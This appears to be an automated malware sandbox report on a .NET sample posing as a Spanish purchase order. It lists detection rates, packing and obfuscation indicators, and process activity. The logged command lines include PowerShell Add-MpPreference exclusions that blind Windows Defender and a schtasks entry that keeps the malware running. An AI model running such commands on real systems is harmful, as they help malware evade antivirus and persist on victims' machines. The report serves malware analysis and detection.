File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\nOrden_de_compra.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: nOrden_de_compra.exe	ReversingLabs: Detection: 63%
Source: nOrden_de_compra.exe	Virustotal: Detection: 43%

Source: C:\Users\user\Desktop\nOrden_de_compra.exe

File read: C:\Users\user\Desktop\nOrden_de_compra.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\nOrden_de_compra.exe C:\Users\user\Desktop\nOrden_de_compra.exe
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\nOrden_de_compra.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process created: C:\Windows\SysWOW64\schtasks.exe C:\Windows\System32\schtasks.exe" /Create /TN "Updates\nNdsLvHyWi" /XML "C:\Users\user\AppData\Local\Temp\tmpD5F2.tmp
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process created: C:\Users\user\Desktop\nOrden_de_compra.exe C:\Users\user\Desktop\nOrden_de_compra.exe
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process created: C:\Users\user\Desktop\nOrden_de_compra.exe C:\Users\user\Desktop\nOrden_de_compra.exe
Source: unknown	Process created: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process created: C:\Windows\SysWOW64\schtasks.exe C:\Windows\System32\schtasks.exe" /Create /TN "Updates\nNdsLvHyWi" /XML "C:\Users\user\AppData\Local\Temp\tmpE302.tmp
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process created: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\nOrden_de_compra.exe	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process created: C:\Windows\SysWOW64\schtasks.exe C:\Windows\System32\schtasks.exe" /Create /TN "Updates\nNdsLvHyWi" /XML "C:\Users\user\AppData\Local\Temp\tmpD5F2.tmp	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process created: C:\Users\user\Desktop\nOrden_de_compra.exe C:\Users\user\Desktop\nOrden_de_compra.exe	Jump to behavior
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Process created: C:\Users\user\Desktop\nOrden_de_compra.exe C:\Users\user\Desktop\nOrden_de_compra.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process created: C:\Windows\SysWOW64\schtasks.exe C:\Windows\System32\schtasks.exe" /Create /TN "Updates\nNdsLvHyWi" /XML "C:\Users\user\AppData\Local\Temp\tmpE302.tmp	Jump to behavior
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Process created: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Jump to behavior

Source: C:\Users\user\Desktop\nOrden_de_compra.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\nOrden_de_compra.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\Desktop\nOrden_de_compra.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Outlook\Profiles

Jump to behavior

Source: nOrden_de_compra.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: nOrden_de_compra.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: nOrden_de_compra.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: rYwr.pdbSHA256$x] source: nOrden_de_compra.exe, nNdsLvHyWi.exe.0.dr
Source:	Binary string: rYwr.pdb source: nOrden_de_compra.exe, nNdsLvHyWi.exe.0.dr

Data Obfuscation

.NET source code contains method to dynamically call methods (often used by packers)

Source: 0.2.nOrden_de_compra.exe.3ca9970.4.raw.unpack, lY.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
Source: 0.2.nOrden_de_compra.exe.2cde9dc.0.raw.unpack, SU.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
Source: 0.2.nOrden_de_compra.exe.7160000.5.raw.unpack, lY.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})

.NET source code contains potential unpacker

Source: nOrden_de_compra.exe, Form11.cs	.Net Code: InitializeComponent System.AppDomain.Load(byte[])
Source: nNdsLvHyWi.exe.0.dr, Form11.cs	.Net Code: InitializeComponent System.AppDomain.Load(byte[])
Source: 0.2.nOrden_de_compra.exe.7e10000.8.raw.unpack, VahwTb7cT8mornX0bA.cs	.Net Code: O20eo3LBDN System.Reflection.Assembly.Load(byte[])
Source: 0.2.nOrden_de_compra.exe.4097d28.3.raw.unpack, VahwTb7cT8mornX0bA.cs	.Net Code: O20eo3LBDN System.Reflection.Assembly.Load(byte[])

Source: nOrden_de_compra.exe

Static PE information: 0xB560437B [Sat Jun 5 17:33:47 2066 UTC]

Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Code function: 0_2_071E83B0 pushfd ; retf	0_2_071E83BD
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Code function: 0_2_071E81C1 push esp; retf	0_2_071E81CD
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Code function: 0_2_071E81F8 pushad ; retf	0_2_071E8205
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Code function: 0_2_0722546A pushfd ; ret	0_2_07225471
Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Code function: 10_2_02CD0CB5 push edi; ret	10_2_02CD0CC2
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Code function: 11_2_06CD76C3 push cs; retf	11_2_06CD76CA
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Code function: 11_2_06CD7643 push esp; retf	11_2_06CD7645
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Code function: 11_2_06CD767B pushad ; retf	11_2_06CD767D
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Code function: 11_2_06CD7671 push cs; retf	11_2_06CD7672
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Code function: 11_2_06CD7673 push cs; retf	11_2_06CD767A
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Code function: 11_2_06CDB777 push edi; retf	11_2_06CDB77A
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Code function: 11_2_06CDB773 push edi; retf	11_2_06CDB776
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Code function: 11_2_06CD7708 push cs; retf	11_2_06CD770A
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Code function: 11_2_06CDB727 push edi; retf	11_2_06CDB72A
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Code function: 11_2_06CDB720 push edi; retf	11_2_06CDB722
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Code function: 11_2_06CDB45B push ebp; retf	11_2_06CDB462
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Code function: 11_2_06CDB2D0 push ebx; retf	11_2_06CDB2D2
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Code function: 11_2_06CDB243 push edx; retf	11_2_06CDB246
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Code function: 11_2_06CDB360 push ebx; retf	11_2_06CDB362
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Code function: 11_2_06CDB363 push ebx; retf	11_2_06CDB366
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Code function: 11_2_06CDB088 push edx; retf	11_2_06CDB11A
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Code function: 11_2_06CDB079 push ecx; retf	11_2_06CDB07A
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Code function: 11_2_06CDB1F3 push edx; retf	11_2_06CDB1F6
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Code function: 11_2_06CDB1B9 push edx; retf	11_2_06CDB1BA
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Code function: 11_2_06CD6E6B push es; retf	11_2_06CD6E6E
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Code function: 11_2_06CD6DE1 push es; retf	11_2_06CD6DE2
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Code function: 11_2_06CD6DE3 push es; retf	11_2_06CD6DE6
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Code function: 11_2_06CD6D01 push es; retf	11_2_06CD6D02
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Code function: 11_2_06CD6D3F push es; retf	11_2_06CD6D42
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Code function: 11_2_06CD6D38 push es; retf	11_2_06CD6D3A
Source: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe	Code function: 11_2_06CDB893 push edi; retf	11_2_06CDB89A

Source: nOrden_de_compra.exe	Static PE information: section name: .text entropy: 7.935524491398435
Source: nNdsLvHyWi.exe.0.dr	Static PE information: section name: .text entropy: 7.935524491398435

Source: 0.2.nOrden_de_compra.exe.7e10000.8.raw.unpack, qlDLMdzah6XGe81ZR4.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'pXwn8AxVdQ', 'cESnjDjyIt', 'UXunxURNEB', 'cqAnYwSAn5', 'cFXn1xIknu', 'SCnnnb8dse', 'knonJ3Uobt'
Source: 0.2.nOrden_de_compra.exe.7e10000.8.raw.unpack, OyOqeoeatmsG22RUyf.cs	High entropy of concatenated method names: 'JK74Zp8qwk', 'xbc47OdplP', 'ifk4FXltIZ', 'ErP4UnXgm5', 'jLg4j9L5Fc', 'WOW4xUDLkZ', 'u60HwKfUDb37IZVlHn', 'DrYVWGVS84EdjnPx01', 'nQN44tyf4V', 'Qjw4VVuUlL'
Source: 0.2.nOrden_de_compra.exe.7e10000.8.raw.unpack, M5tu5eScEBZf24uGb6.cs	High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'Nynp0FqCwa', 'HHjpuVkpPt', 'gQppzx1Q4N', 'LCBVaOcCQP', 'DwJV4PxuYd', 'cZrVpMljnu', 'Xc7VVjpe1A', 'URQe9pssTfI53BD6l98'
Source: 0.2.nOrden_de_compra.exe.7e10000.8.raw.unpack, DFcyOWbUDLkZIX04JR.cs	High entropy of concatenated method names: 'BXnMNtI8DI', 'gbFMcPorB4', 'POoMCB0x07', 'oDNMZYEao4', 'tGBM7ZW2aZ', 'QPCCkSOuiw', 'zhZCBUn3tM', 'vjuCvT8ZL1', 'mOYCyTjkjS', 'opvC0gPN0C'
Source: 0.2.nOrden_de_compra.exe.7e10000.8.raw.unpack, dSPneu4Vjx6HTGfCEdG.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'WagJ9Nlr8b', 'u3QJP5YZQR', 'nFdJWjt40G', 'fQyJ2BNJGd', 'bQ7JkLwtH5', 'ULlJBjRCBx', 'D1wJvX5WjN'
Source: 0.2.nOrden_de_compra.exe.7e10000.8.raw.unpack, JSMvQGDlHAfTwMe3ZO.cs	High entropy of concatenated method names: 'RKF85RQHxR', 'xJs8qOVEqg', 'X048bi6C1U', 'QOR8tpwed8', 'rPV8mY4mGw', 'me48r4Fys1', 'WKS8f225l4', 'qdL8H5yIdc', 'HGo8AlYwI8', 'K3O8EUDBJE'
Source: 0.2.nOrden_de_compra.exe.7e10000.8.raw.unpack, cDToTJpHXBOUtdduer.cs	High entropy of concatenated method names: 'NOBoLeGHI', 'Q2Msr290T', 'HsEKEAcmK', 'pZKRCHrOw', 'jMFqmu74v', 'Xjji3YQsl', 'WM9m99eBqSRaCcgGHi', 'WbDeRUMry9pAMhQX3M', 'dya1Z95KQ', 'ld4J119X2'
Source: 0.2.nOrden_de_compra.exe.7e10000.8.raw.unpack, UYJYJc2aCln22jB6Dg.cs	High entropy of concatenated method names: 'oseYFbC1I2', 'mN3YU31JMy', 'ToString', 'NifYIGikQ0', 'W6xYcbNm3d', 'fHBYSpQpQs', 'MQOYCk0jM2', 'nkoYMoiOcK', 'xiaYZhCxcJ', 'cLgY7sE68f'
Source: 0.2.nOrden_de_compra.exe.7e10000.8.raw.unpack, VahwTb7cT8mornX0bA.cs	High entropy of concatenated method names: 'NS3VNZtKb9', 'tQIVIx3a00', 'jvhVc0sdET', 'BdrVSkZhkC', 'xvdVCJjWvZ', 'uS2VM6infV', 'TgGVZrNLnY', 'cktV7SVccW', 'r8FVdLcM7d', 'MqbVFSVfq0'
Source: 0.2.nOrden_de_compra.exe.7e10000.8.raw.unpack, wnrE3F4a8RgEIeqXaee.cs	High entropy of concatenated method names: 'LyZnlp5N1j', 'EO3nOERWBZ', 'PfmnoZ7BrU', 'VxensYm7li', 'HgRnQ8BYyw', 'VjsnKnB0yF', 'S0onREy77Y', 'QR3n5CUn9E', 'MoGnqH6R4H', 'Gggniy6lRY'
Source: 0.2.nOrden_de_compra.exe.7e10000.8.raw.unpack, pGHbeS03tIufXepgXX.cs	High entropy of concatenated method names: 'En01brJmA6', 'Pu01thMwkD', 'iR91T8yUmc', 'aYl1mDsonm', 'piD19XPDYI', 'cQi1r1aesW', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.nOrden_de_compra.exe.7e10000.8.raw.unpack, U9QAgVuaOBrXhXAvIx.cs	High entropy of concatenated method names: 'WvJn4PmfSx', 'b9dnVo0fH6', 'jwYneEvJhQ', 'SwSnIWksaR', 'vu4ncmBcj6', 'pVDnCHqkr1', 'nUcnMvBAli', 'ojq1vXiCtA', 'ObG1yCOmE6', 'X4P104GC0v'
Source: 0.2.nOrden_de_compra.exe.7e10000.8.raw.unpack, QamEXCqfkXltIZ5rPn.cs	High entropy of concatenated method names: 'M9oSsllAed', 'QRESKmWA0n', 'L2AS5ymeUl', 'QKkSqtogOo', 'FxhSjCXYWa', 'kxqSxpTdm8', 'GVBSYSXgoR', 'CqsS1sGSTA', 'z8HSnx93Fw', 'MjJSJ24CIR'
Source: 0.2.nOrden_de_compra.exe.7e10000.8.raw.unpack, R8McbU4p0CIa2MEB4H1.cs	High entropy of concatenated method names: 'INiJlS2nw2', 'fnlJOIGs6m', 'Rs4JoX7JUB', 'Ue37OZkOaklSOuDr8GZ', 'LSGP3QktNoquqxZfiMR', 'fh5fjQkmrgITS7wUtxB', 'inKkqskDCWmnGAQpK6n', 'oCaukYk9AaFALGt92yv'
Source: 0.2.nOrden_de_compra.exe.7e10000.8.raw.unpack, QQR1QDfeflhLhnewFd.cs	High entropy of concatenated method names: 'H8wZIQgwHn', 'u8LZSWd3xI', 'f7KZMGDXZp', 'A1xMuKevJD', 'KNlMzNskHn', 'UEHZaGdQPw', 'ceQZ4gVFj3', 'U5LZpo23m9', 'm8CZVlyrVJ', 'o5BZecfZl9'
Source: 0.2.nOrden_de_compra.exe.7e10000.8.raw.unpack, psEjOm9jBmrmsejYFy.cs	High entropy of concatenated method names: 'DNWjAPWNXF', 'CZPjL4am5R', 'Cpuj9Zu8Nc', 'XfejPoNS0d', 'ObOjtNymp6', 'mvrjTWcwQk', 'U1ljmIiuvv', 'h0BjrjZ2e0', 'ouGjgb8aXZ', 'YLAjfXSSyc'
Source: 0.2.nOrden_de_compra.exe.7e10000.8.raw.unpack, UesNoGyEPg1T0aorW0.cs	High entropy of concatenated method names: 'EZn1IyOX1J', 'ThZ1cePcUY', 'Bv71SFd03Q', 'CkO1CinpAj', 'oTV1M6yBd8', 'bPJ1ZaVjLK', 'tfK17apPuB', 'FUX1dHlOWU', 'QvV1FNnIZ7', 'nNs1UUY8rQ'
Source: 0.2.nOrden_de_compra.exe.7e10000.8.raw.unpack, uvbrjyBpB6IQ1sZIM7.cs	High entropy of concatenated method names: 'XmcYyCgEgh', 'bZIYu3Su7K', 'jf61a1NVEv', 'u6C14YvjuG', 'kNlYE4qxI5', 'JRXYLCW98e', 'QxFYDTPIir', 'Rx3Y9n5pwQ', 'xuAYPafBcj', 'uB1YW4M3rv'
Source: 0.2.nOrden_de_compra.exe.7e10000.8.raw.unpack, kp8qwk5XbcOdplPSn8.cs	High entropy of concatenated method names: 'jXUc9RKeh5', 'g5TcPbkMnS', 'sOxcWyVtaf', 'wkNc2hj4t6', 'XTRck4hGdf', 'vDCcBCZJOY', 'f5IcvBljxq', 't0ccy4RoQi', 'gS1c06YcH6', 'Vj6cuYtacJ'
Source: 0.2.nOrden_de_compra.exe.7e10000.8.raw.unpack, uDC5hthEYXnM7oO39Y.cs	High entropy of concatenated method names: 'dpjZlynISn', 'JZ6ZOhNRt1', 'YuTZoUvQnZ', 'XUfZsxCHNo', 'k55ZQMuMCv', 'li8ZKaBMSK', 'X8YZR8Ynwr', 'kXVZ5p05Ld', 'yHJZq8oKuw', 'sbjZinhRh6'
Source: 0.2.nOrden_de_compra.exe.7e10000.8.raw.unpack, xgm5voicFPk8sZLg9L.cs	High entropy of concatenated method names: 'XRaCQd1oIU', 'c4KCRk3TRG', 'E8uSTA8iTZ', 'mbySmwGEpL', 'Ox7SrfZTAy', 'cqSSgHpU7a', 'P6YSfeQbgM', 'PmNSHBJjrm', 'uVcShEQ3e0', 'xmxSAQaR1K'
Source: 0.2.nOrden_de_compra.exe.7e10000.8.raw.unpack, b4IOm7cKnfrLa3GBlb.cs	High entropy of concatenated method names: 'Dispose', 'nAs40YGSoZ', 'JVgptDd43p', 'hgfEE2TYlq', 'Uke4usNoGE', 'Rg14zT0aor', 'ProcessDialogKey', 'S0xpaGHbeS', 'vtIp4ufXep', 'KXXppB9QAg'
Source: 0.2.nOrden_de_compra.exe.4097d28.3.raw.unpack, qlDLMdzah6XGe81ZR4.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'pXwn8AxVdQ', 'cESnjDjyIt', 'UXunxURNEB', 'cqAnYwSAn5', 'cFXn1xIknu', 'SCnnnb8dse', 'knonJ3Uobt'
Source: 0.2.nOrden_de_compra.exe.4097d28.3.raw.unpack, OyOqeoeatmsG22RUyf.cs	High entropy of concatenated method names: 'JK74Zp8qwk', 'xbc47OdplP', 'ifk4FXltIZ', 'ErP4UnXgm5', 'jLg4j9L5Fc', 'WOW4xUDLkZ', 'u60HwKfUDb37IZVlHn', 'DrYVWGVS84EdjnPx01', 'nQN44tyf4V', 'Qjw4VVuUlL'
Source: 0.2.nOrden_de_compra.exe.4097d28.3.raw.unpack, M5tu5eScEBZf24uGb6.cs	High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'Nynp0FqCwa', 'HHjpuVkpPt', 'gQppzx1Q4N', 'LCBVaOcCQP', 'DwJV4PxuYd', 'cZrVpMljnu', 'Xc7VVjpe1A', 'URQe9pssTfI53BD6l98'
Source: 0.2.nOrden_de_compra.exe.4097d28.3.raw.unpack, DFcyOWbUDLkZIX04JR.cs	High entropy of concatenated method names: 'BXnMNtI8DI', 'gbFMcPorB4', 'POoMCB0x07', 'oDNMZYEao4', 'tGBM7ZW2aZ', 'QPCCkSOuiw', 'zhZCBUn3tM', 'vjuCvT8ZL1', 'mOYCyTjkjS', 'opvC0gPN0C'
Source: 0.2.nOrden_de_compra.exe.4097d28.3.raw.unpack, dSPneu4Vjx6HTGfCEdG.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'WagJ9Nlr8b', 'u3QJP5YZQR', 'nFdJWjt40G', 'fQyJ2BNJGd', 'bQ7JkLwtH5', 'ULlJBjRCBx', 'D1wJvX5WjN'
Source: 0.2.nOrden_de_compra.exe.4097d28.3.raw.unpack, JSMvQGDlHAfTwMe3ZO.cs	High entropy of concatenated method names: 'RKF85RQHxR', 'xJs8qOVEqg', 'X048bi6C1U', 'QOR8tpwed8', 'rPV8mY4mGw', 'me48r4Fys1', 'WKS8f225l4', 'qdL8H5yIdc', 'HGo8AlYwI8', 'K3O8EUDBJE'
Source: 0.2.nOrden_de_compra.exe.4097d28.3.raw.unpack, cDToTJpHXBOUtdduer.cs	High entropy of concatenated method names: 'NOBoLeGHI', 'Q2Msr290T', 'HsEKEAcmK', 'pZKRCHrOw', 'jMFqmu74v', 'Xjji3YQsl', 'WM9m99eBqSRaCcgGHi', 'WbDeRUMry9pAMhQX3M', 'dya1Z95KQ', 'ld4J119X2'
Source: 0.2.nOrden_de_compra.exe.4097d28.3.raw.unpack, UYJYJc2aCln22jB6Dg.cs	High entropy of concatenated method names: 'oseYFbC1I2', 'mN3YU31JMy', 'ToString', 'NifYIGikQ0', 'W6xYcbNm3d', 'fHBYSpQpQs', 'MQOYCk0jM2', 'nkoYMoiOcK', 'xiaYZhCxcJ', 'cLgY7sE68f'
Source: 0.2.nOrden_de_compra.exe.4097d28.3.raw.unpack, VahwTb7cT8mornX0bA.cs	High entropy of concatenated method names: 'NS3VNZtKb9', 'tQIVIx3a00', 'jvhVc0sdET', 'BdrVSkZhkC', 'xvdVCJjWvZ', 'uS2VM6infV', 'TgGVZrNLnY', 'cktV7SVccW', 'r8FVdLcM7d', 'MqbVFSVfq0'
Source: 0.2.nOrden_de_compra.exe.4097d28.3.raw.unpack, wnrE3F4a8RgEIeqXaee.cs	High entropy of concatenated method names: 'LyZnlp5N1j', 'EO3nOERWBZ', 'PfmnoZ7BrU', 'VxensYm7li', 'HgRnQ8BYyw', 'VjsnKnB0yF', 'S0onREy77Y', 'QR3n5CUn9E', 'MoGnqH6R4H', 'Gggniy6lRY'
Source: 0.2.nOrden_de_compra.exe.4097d28.3.raw.unpack, pGHbeS03tIufXepgXX.cs	High entropy of concatenated method names: 'En01brJmA6', 'Pu01thMwkD', 'iR91T8yUmc', 'aYl1mDsonm', 'piD19XPDYI', 'cQi1r1aesW', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.nOrden_de_compra.exe.4097d28.3.raw.unpack, U9QAgVuaOBrXhXAvIx.cs	High entropy of concatenated method names: 'WvJn4PmfSx', 'b9dnVo0fH6', 'jwYneEvJhQ', 'SwSnIWksaR', 'vu4ncmBcj6', 'pVDnCHqkr1', 'nUcnMvBAli', 'ojq1vXiCtA', 'ObG1yCOmE6', 'X4P104GC0v'
Source: 0.2.nOrden_de_compra.exe.4097d28.3.raw.unpack, QamEXCqfkXltIZ5rPn.cs	High entropy of concatenated method names: 'M9oSsllAed', 'QRESKmWA0n', 'L2AS5ymeUl', 'QKkSqtogOo', 'FxhSjCXYWa', 'kxqSxpTdm8', 'GVBSYSXgoR', 'CqsS1sGSTA', 'z8HSnx93Fw', 'MjJSJ24CIR'
Source: 0.2.nOrden_de_compra.exe.4097d28.3.raw.unpack, R8McbU4p0CIa2MEB4H1.cs	High entropy of concatenated method names: 'INiJlS2nw2', 'fnlJOIGs6m', 'Rs4JoX7JUB', 'Ue37OZkOaklSOuDr8GZ', 'LSGP3QktNoquqxZfiMR', 'fh5fjQkmrgITS7wUtxB', 'inKkqskDCWmnGAQpK6n', 'oCaukYk9AaFALGt92yv'
Source: 0.2.nOrden_de_compra.exe.4097d28.3.raw.unpack, QQR1QDfeflhLhnewFd.cs	High entropy of concatenated method names: 'H8wZIQgwHn', 'u8LZSWd3xI', 'f7KZMGDXZp', 'A1xMuKevJD', 'KNlMzNskHn', 'UEHZaGdQPw', 'ceQZ4gVFj3', 'U5LZpo23m9', 'm8CZVlyrVJ', 'o5BZecfZl9'
Source: 0.2.nOrden_de_compra.exe.4097d28.3.raw.unpack, psEjOm9jBmrmsejYFy.cs	High entropy of concatenated method names: 'DNWjAPWNXF', 'CZPjL4am5R', 'Cpuj9Zu8Nc', 'XfejPoNS0d', 'ObOjtNymp6', 'mvrjTWcwQk', 'U1ljmIiuvv', 'h0BjrjZ2e0', 'ouGjgb8aXZ', 'YLAjfXSSyc'
Source: 0.2.nOrden_de_compra.exe.4097d28.3.raw.unpack, UesNoGyEPg1T0aorW0.cs	High entropy of concatenated method names: 'EZn1IyOX1J', 'ThZ1cePcUY', 'Bv71SFd03Q', 'CkO1CinpAj', 'oTV1M6yBd8', 'bPJ1ZaVjLK', 'tfK17apPuB', 'FUX1dHlOWU', 'QvV1FNnIZ7', 'nNs1UUY8rQ'
Source: 0.2.nOrden_de_compra.exe.4097d28.3.raw.unpack, uvbrjyBpB6IQ1sZIM7.cs	High entropy of concatenated method names: 'XmcYyCgEgh', 'bZIYu3Su7K', 'jf61a1NVEv', 'u6C14YvjuG', 'kNlYE4qxI5', 'JRXYLCW98e', 'QxFYDTPIir', 'Rx3Y9n5pwQ', 'xuAYPafBcj', 'uB1YW4M3rv'
Source: 0.2.nOrden_de_compra.exe.4097d28.3.raw.unpack, kp8qwk5XbcOdplPSn8.cs	High entropy of concatenated method names: 'jXUc9RKeh5', 'g5TcPbkMnS', 'sOxcWyVtaf', 'wkNc2hj4t6', 'XTRck4hGdf', 'vDCcBCZJOY', 'f5IcvBljxq', 't0ccy4RoQi', 'gS1c06YcH6', 'Vj6cuYtacJ'
Source: 0.2.nOrden_de_compra.exe.4097d28.3.raw.unpack, uDC5hthEYXnM7oO39Y.cs	High entropy of concatenated method names: 'dpjZlynISn', 'JZ6ZOhNRt1', 'YuTZoUvQnZ', 'XUfZsxCHNo', 'k55ZQMuMCv', 'li8ZKaBMSK', 'X8YZR8Ynwr', 'kXVZ5p05Ld', 'yHJZq8oKuw', 'sbjZinhRh6'
Source: 0.2.nOrden_de_compra.exe.4097d28.3.raw.unpack, xgm5voicFPk8sZLg9L.cs	High entropy of concatenated method names: 'XRaCQd1oIU', 'c4KCRk3TRG', 'E8uSTA8iTZ', 'mbySmwGEpL', 'Ox7SrfZTAy', 'cqSSgHpU7a', 'P6YSfeQbgM', 'PmNSHBJjrm', 'uVcShEQ3e0', 'xmxSAQaR1K'
Source: 0.2.nOrden_de_compra.exe.4097d28.3.raw.unpack, b4IOm7cKnfrLa3GBlb.cs	High entropy of concatenated method names: 'Dispose', 'nAs40YGSoZ', 'JVgptDd43p', 'hgfEE2TYlq', 'Uke4usNoGE', 'Rg14zT0aor', 'ProcessDialogKey', 'S0xpaGHbeS', 'vtIp4ufXep', 'KXXppB9QAg'
Source: 0.2.nOrden_de_compra.exe.2cde9dc.0.raw.unpack, SU.cs	High entropy of concatenated method names: 'G5s', 'RgtTUJcyZL', 's5u', 'g5f', 'Y5S', 't57', 'Xo0qQH', 'AF', 'tC', 'VE'

Source: C:\Users\user\Desktop\nOrden_de_compra.exe

File created: C:\Users\user\AppData\Roaming\nNdsLvHyWi.exe

Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\Desktop\nOrden_de_compra.exe

Process created: C:\Windows\SysWOW64\schtasks.exe C:\Windows\System32\schtasks.exe" /Create /TN "Updates\nNdsLvHyWi" /XML "C:\Users\user\AppData\Local\Temp\tmpD5F2.tmp

Source: C:\Users\user\Desktop\nOrden_de_compra.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot	Jump to behavior
